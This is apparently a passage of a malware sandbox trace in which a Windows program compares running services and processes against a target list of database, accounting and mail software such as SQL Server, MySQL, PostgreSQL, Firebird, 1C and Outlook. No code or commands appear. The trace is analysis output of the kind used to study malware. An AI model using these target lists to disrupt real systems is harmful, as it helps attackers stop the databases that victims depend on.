returned 12 [0067.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0067.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0067.411] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0067.411] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0067.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0067.411] lstrlenW (lpString="LanmanWorkstation") returned 17 [0067.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0067.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0067.411] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0067.411] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0067.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0067.411] lstrlenW (lpString="lmhosts") returned 7 [0067.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0067.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0067.411] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0067.411] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0067.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0067.411] lstrlenW (lpString="MMCSS") returned 5 [0067.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0067.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0067.411] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0067.412] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0067.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0067.412] lstrlenW (lpString="MpsSvc") returned 6 [0067.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0067.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0067.412] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0067.412] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0067.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0067.412] lstrlenW (lpString="Netman") returned 6 [0067.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0067.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0067.412] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0067.412] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0067.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0067.412] lstrlenW (lpString="netprofm") returned 8 [0067.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0067.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0067.412] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0067.412] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0067.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0067.412] lstrlenW (lpString="NlaSvc") returned 6 [0067.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0067.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0067.412] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0067.412] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0067.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0067.412] lstrlenW (lpString="nsi") returned 3 [0067.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0067.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0067.412] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0067.413] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0067.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0067.413] lstrlenW (lpString="PcaSvc") returned 6 [0067.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0067.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0067.413] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0067.413] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0067.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0067.413] lstrlenW (lpString="PlugPlay") returned 8 [0067.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0067.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0067.413] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0067.413] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0067.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0067.413] lstrlenW (lpString="Power") returned 5 [0067.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0067.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0067.413] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0067.413] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0067.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0067.413] lstrlenW (lpString="ProfSvc") returned 7 [0067.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0067.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0067.413] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0067.413] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0067.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0067.413] lstrlenW (lpString="RpcEptMapper") returned 12 [0067.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0067.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0067.413] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0067.413] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0067.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0067.414] lstrlenW (lpString="RpcSs") returned 5 [0067.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0067.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0067.414] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0067.414] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0067.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0067.414] lstrlenW (lpString="SamSs") returned 5 [0067.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0067.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0067.414] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0067.414] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0067.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0067.414] lstrlenW (lpString="Schedule") returned 8 [0067.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0067.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0067.414] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0067.414] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0067.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0067.414] lstrlenW (lpString="SENS") returned 4 [0067.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0067.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0067.414] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0067.414] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0067.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0067.414] lstrlenW (lpString="ShellHWDetection") returned 16 [0067.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0067.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0067.414] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0067.414] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0067.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0067.414] lstrlenW (lpString="Spooler") returned 7 [0067.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0067.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0067.415] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0067.415] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0067.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0067.415] lstrlenW (lpString="swprv") returned 5 [0067.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0067.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0067.415] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0067.415] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0067.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0067.415] lstrlenW (lpString="SysMain") returned 7 [0067.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0067.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0067.415] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0067.415] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0067.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0067.415] lstrlenW (lpString="Themes") returned 6 [0067.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0067.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0067.415] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0067.415] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0067.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0067.415] lstrlenW (lpString="TrkWks") returned 6 [0067.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0067.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0067.415] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0067.416] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0067.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0067.416] lstrlenW (lpString="UxSms") returned 5 [0067.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0067.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0067.416] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0067.416] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0067.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0067.416] lstrlenW (lpString="VSS") returned 3 [0067.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0067.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0067.416] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0067.416] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0067.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0067.416] lstrlenW (lpString="WdiServiceHost") returned 14 [0067.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0067.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0067.416] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0067.416] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0067.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0067.416] lstrlenW (lpString="WdiSystemHost") returned 13 [0067.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0067.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0067.416] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0067.416] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0067.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0067.416] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0067.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0067.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0067.416] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0067.416] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0067.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0067.417] lstrlenW (lpString="Winmgmt") returned 7 [0067.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0067.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0067.417] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0067.417] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0067.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0067.417] lstrlenW (lpString="WPDBusEnum") returned 10 [0067.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0067.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0067.417] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0067.417] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0067.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0067.417] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x628500 | out: hHeap=0x5d0000) returned 1 [0067.417] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e8 [0067.421] Process32FirstW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0067.422] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0067.423] lstrlenW (lpString="System") returned 6 [0067.423] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0067.423] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0067.423] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0067.423] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0067.423] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0067.423] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0067.423] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0067.423] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0067.423] lstrlenW (lpString="smss.exe") returned 8 [0067.423] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0067.423] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0067.423] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0067.423] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0067.423] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0067.423] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0067.423] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0067.424] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0067.424] lstrlenW (lpString="csrss.exe") returned 9 [0067.424] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0067.424] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0067.424] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0067.424] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0067.424] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0067.424] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0067.424] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0067.424] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0067.425] lstrlenW (lpString="wininit.exe") returned 11 [0067.425] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0067.425] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0067.425] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0067.425] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0067.425] lstrlenW (lpString="csrss.exe") returned 9 [0067.425] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0067.426] lstrlenW (lpString="winlogon.exe") returned 12 [0067.426] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0067.426] lstrlenW (lpString="services.exe") returned 12 [0067.427] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0067.427] lstrlenW (lpString="lsass.exe") returned 9 [0067.427] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0067.428] lstrlenW (lpString="lsm.exe") returned 7 [0067.428] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.428] lstrlenW (lpString="svchost.exe") returned 11 [0067.428] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.429] lstrlenW (lpString="svchost.exe") returned 11 [0067.429] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.429] lstrlenW (lpString="svchost.exe") returned 11 [0067.429] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.430] lstrlenW (lpString="svchost.exe") returned 11 [0067.430] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.430] lstrlenW (lpString="svchost.exe") returned 11 [0067.430] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0067.431] lstrlenW (lpString="audiodg.exe") returned 11 [0067.431] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.431] lstrlenW (lpString="svchost.exe") returned 11 [0067.431] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.432] lstrlenW (lpString="svchost.exe") returned 11 [0067.432] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0067.432] lstrlenW (lpString="dwm.exe") returned 7 [0067.432] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0067.433] lstrlenW (lpString="explorer.exe") returned 12 [0067.433] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0067.433] lstrlenW (lpString="spoolsv.exe") returned 11 [0067.433] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.434] lstrlenW (lpString="svchost.exe") returned 11 [0067.434] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0067.434] lstrlenW (lpString="taskhost.exe") returned 12 [0067.435] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0067.435] lstrlenW (lpString="taskeng.exe") returned 11 [0067.435] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoken.exe")) returned 1 [0067.436] lstrlenW (lpString="spoken.exe") returned 10 [0067.436] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="cut baby kind.exe")) returned 1 [0067.436] lstrlenW (lpString="cut baby kind.exe") returned 17 [0067.436] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="intelligence-jones.exe")) 